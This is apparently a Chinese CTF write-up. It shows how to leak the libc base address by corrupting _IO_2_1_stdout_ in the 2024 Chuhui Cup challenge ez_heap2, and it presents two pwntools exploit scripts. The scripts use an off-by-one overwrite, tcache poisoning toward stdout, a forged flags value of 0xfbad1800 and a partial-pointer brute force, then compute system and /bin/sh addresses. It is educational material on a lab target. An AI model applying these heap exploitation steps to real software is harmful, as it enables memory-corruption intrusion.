修改_IO_2_1_stdout_的某些值来泄漏libc基地址
主要的原理可以去 https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/ 看我们只讲实操
✍内容 这里有两个方法 我们使用楚慧杯2024的ez_heap2作为例题
重要的代码审计
很清楚没有show函数
看的开了pie保护,所以我们在gift的时候可以选择是泄漏heap_base还是pie_base
根据elf文件里面的stdout符号地址来修改_IO_2_1_stdout
这个方法由于上面题目的情况,我们需要pie的基地址,如果没开pie的话就不需要但是堆题目嘛一般都是保护全开,ok泄漏pie基地址的话没什么好说的我们来说接下来怎么做
先找到elf中stdout的符号地址,当程序运行的时候是这样的关系stdout调用的时候我们链是stdout---->IO_2_1_stdout---->IO_2_1_stdout的内容,具体你可以看下图。
所以我们用teach 或者fastbins attack申请到 IO_2_1_stdout或者它的附近就能修改它结构体里面的值了
def dfun(): add(0,0x18) add(1,0x68) add(2,0x68) add(3,0x18) io.sendline('4') # 执行gift函数获得pie地址 io.sendlineafter(b'choose:\n','4') adder=int(io.recvuntil(b'\n',drop=True),16) pie=adder-0x202160 print("0x%x"%pie) stdout=pie+0x202020 #📥 获得stdout的地址 print("0x%x"%stdout) edit(0,b'a'*0x18+b'\xe1') #📥 off_by_one中 delete(2) delete(1) add(1,0xd8) #📥 修改还在teach的chunk2的fd为stdout并修复其size edit(1,b'\x00'*0x68+p64(0x71)+p64(stdout)) add(2,0x68) # 申请原理chunk2 add(4,0x68) # 申请user adder为stdout的chunk add(5,0x68) # 申请到_IO_2_1_stdout的地址 edit(5,p64(0xfbad1800) + p64(0)*3 + b'\x00') # 修改flags_为0xfbad1800 _IO_write_base为'\x00' io.recvuntil(b'\x00'*8) libc_adder=u64(io.recv(6).ljust(8,b'\x00')) print("0x%x"%libc_adder) # libc_adder=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) # 一般用这个好好看一下 # print("0x%x"%libc_adder) libc_base=libc_adder-0x3ed8b0 systeam_adder=libc_base+libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) io.interactive()
libc,heap偏移是用gdb自己找的
但是注意了这样的话teach或者fastbins这个大小的链就用不了了
直接修改难点在爆破上但是利用的条件较上一个少一些
这个唯一不一样的是我们不用stdout了我们直接在_IO_2_1_stdout那寻找合数的位置伪造chunk那问题是
<<我们怎么写到哪个地方呢 >>
,很巧的是
<<unsorted bins的fd,bk指针和_IO_2_1_stdout那块的地址只有两个字节不一样>>,而LFSAR的随机化机制然地址最后三位不变,那么我们可以用gdb找着三位,剩下半个字节直接爆破就行了
我们只用申请到这个伪造chunk的地址就行,就是把最后两位改成c71d然后爆破就行了,再修改成特顶的值就好了
add(0,0x18) add(1,0x408) #📥 严肃申请unsorted bins add(2,0x68) add(3,0x68) menu(4) io.sendlineafter(b'choose:',b'1') io.recvuntil(b'\n') heap_adder=int(io.recvuntil(b'1.add',drop=True),16) print("heap_adder : 0x%x"%heap_adder) heap_base=heap_adder- 0x770 print("heap_base : 0x%x"%heap_base) /////////////////////////////////////////////////开始攻击/////////////////////////////////////////////////////////////// edit(0,b'a'*0x18+b'\xf1') delete(2) delete(3) delete(1) add(1,0x408) add(5,0xc8) edit(5,b'\x2d\xc7') #📥 修改fd中,因为teach的fd指向user直接写你想改的地址就好了,不用加0x10 edit(1,b'a'*0x408+b'\x71') # 大小改回来 add(2,0x68) add(3,0x68) #gdb.attach(io) add(6,0x68) # 申请到 #gdb.attach(io) edit(6,b'\x00' * (0x33) +p64( 0xfbad1800 )+p64( 0 )* 3+ b'\x00') #📥 开始修改 #gdb.attach(io) io.recvuntil(b'\x00'*8) libc_adder=u64(io.recv(6).ljust(8,b'\x00')) print("0x%x"%libc_adder) libc_base=libc_adder-0x3ed8b0 print("libc_base : 0x%x"%libc_base) libc.address=libc_base